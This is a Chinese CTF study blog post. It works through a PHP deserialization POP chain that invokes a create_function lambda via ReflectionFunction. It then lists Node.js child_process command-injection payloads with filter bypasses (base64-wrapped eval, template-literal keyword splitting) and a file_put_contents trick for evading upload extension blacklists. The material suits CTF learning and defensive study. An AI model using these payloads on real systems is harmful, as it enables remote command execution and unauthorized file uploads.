    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

这是源代码,看到最后一行提示把O改成C的时候我就知道最后一步肯定是用愚人杯的方法,但是我卡住的地方在于create_function创建的这个匿名函数的名字不知道,看了出题人的wp后才发现想知道名字其实也挺简单的,算是学到了

可以看到我们直接输出就可以知道匿名函数的名字,然后这里还有一个知识点,就是匿名函数前面都默认添加\000所以这个函数真正的名字是\000lambda_1,同时要注意的是,这个名字后面的数字也是随机的,只有最刚开始访问的时候是_1,所以以后遇到这类题目可能还需要爆破

接下来就是另一个知识点,关于如何调用这个匿名函数

ReflectionFunction

这个是我们需要调用的函数,可以看到只需要使用invoke就可以调用函数,那么接下来就很简单的构造链子就好了

<?php
class Taki
{
    public $musubi;
    public $magic = "invoke";
}

class Mitsuha
{
    public $memory;
    public $thread;
}

class KatawareDoki
{
    public $soul;
    public $kuchikamizake = "ReflectionFunction";
    public $name = "\000lambda_1";
}
$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a->musubi = $b;		// 1.把对象当成函数调用,触发__invoke()
$b->thread = $c;		// 2. 把对象作为字符串使用,触发__toString()
$c->soul = $a;			// 3. 调用不存在的方法,触发__call()

$arr=array("evil"=>$a);
$d=new ArrayObject($arr);
echo urlencode(serialize($d));

需要注意的是这里依旧存在着和上次一样的问题,就是吃php版本,做这类问题一定要跟着题目的php版本走,没有就去下一个,高版本是绝对跑不出来的。

Nodejs命令执行

console.log(global.process.mainModule.require("child_process").execSync("whoami").toString());  //常规命令注入

global.process.mainModule.constructor._load("child_process").execSync("whoami");  //require被过滤

Object.values(require('child_process'))[5]('cat$IFS$9/G*>a').toString(); //写入文件

require('child_process').spawnSync('nl',['p']).stdout.toString(); //读取文件

require("child_process").exec("sleep 3");
require("child_process").execSync("sleep 3");
在Node.js中,当使用child_process模块的execSync方法执行一个命令时,返回的是一个Buffer,而不是一个对象带有stdout属性。因此,尝试访问未定义的stdout属性会导致TypeError
 
回显直接用 .toString()方法
 
require("child_process").execFile("/bin/sleep",["3"]); //调用某个可执行文件,在第二个参数传args
require("child_process").spawn('sleep', ['3']);
require("child_process").spawnSync('sleep', ['3']);
 
回显用 .stdout.toString() 往往和payload绑定在一起的
 
require("child_process").execFileSync('sleep', ['3']);

base64编码绕过

eval(Buffer.from('Z2xvYmFsLnByb2Nlc3MubWFpbk1vZHVsZS5jb25zdHJ1Y3Rvci5fbG9hZCgiY2hpbGRfcHJvY2VzcyIpLmV4ZWNTeW5jKCJjdXJsIDEyNy4wLjAuMToxMjM0Iik=','base64').toString())

concat拼接

"exe".concat("cSync")

反引号过滤

process     	`${`${`proce`}ss`}`
prototype		`${`${`prototyp`}e`}`
get_process		`${`${`get_pro`}cess`}`
require			`${`${`requir`}e`}`
execSync		`${`${`exe`}cSync`}`
return process	`${`${`return proc`}ess`}`
constructor		`${`${`constructo`}r`}`
child_process	`${`${`child_proces`}s`}`

file_put_contents上传文件的漏洞

当上传123.php/.的时候,file_put_contents函数会认为是要在123.php文件所在的目录下创建一个名为.的文件,最终上传创建的是123.php

通过这个可以用来绕过后缀黑名单

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇